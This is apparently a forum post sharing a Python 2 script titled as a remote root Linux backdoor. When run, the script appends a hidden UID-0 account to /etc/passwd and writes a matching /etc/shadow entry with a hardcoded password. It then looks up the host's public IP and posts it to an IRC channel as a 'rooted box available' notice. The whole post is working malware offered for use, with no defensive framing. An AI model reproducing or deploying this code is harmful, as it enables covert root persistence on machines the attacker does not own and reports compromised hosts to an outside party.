python remote root Linux backdoor

Code:
#!/usr/bin/python2

import crypt
import subprocess
import string
import socket
import time
import random
import sys
import os

#config the following shit

USERNAME = "kibo"

PASSWORD = "kibo_backdoor"
SALT = "changeme"

HOME_DIRECTORY = "/"
SHELL = "/bin/bash"

SERVER = "irc.rizon.net"
CHANNEL = "#changeme"
PORT = 6667

#end of config

def main():
    passwd = open("/etc/passwd", "a+")
    passwd.write("{0}:x:0:0:root:{1}:{2}".format(USERNAME, HOME_DIRECTORY, SHELL))
    passwd.close()
    shadow_root_ln = ""
    for x in open("/etc/shadow", "a+").read().split("\n"):
        if "root" in x:
            shadow_root_ln += x
            break

    shadow_root_ln_split = shadow_root_ln.split(":")
    shadow_root_ln_split[0] = USERNAME
    shadow_root_ln_split[1] = crypt.crypt(PASSWORD, "$6${0}".format(SALT))

    shadow_string = ""
    for x in shadow_root_ln_split:
        shadow_string += x+":"
    shadow_string = shadow_string[:-1]
    open("/etc/shadow", "a+").write("{0}\n".format(shadow_string))

    p = subprocess.Popen(["curl", "wtfismyip.com/text"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = p.communicate()

    username = ''.join(random.choice(string.ascii_uppercase+string.ascii_lowercase) for _ in range(8))
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((SERVER, PORT))
    sock.send("USER {0} {0} {0} :ilovedicklol\n".format(username))
    sock.send("NICK {0}\n".format(username))
    sock.send("JOIN {0}\n".format(CHANNEL))
    sock.send("PRIVMSG {0} :rooted box available: {1}\n".format(CHANNEL, out))
    time.sleep(5)
    sock.send("DISCONNECT\n")

if __name__ == "__main__":
    main()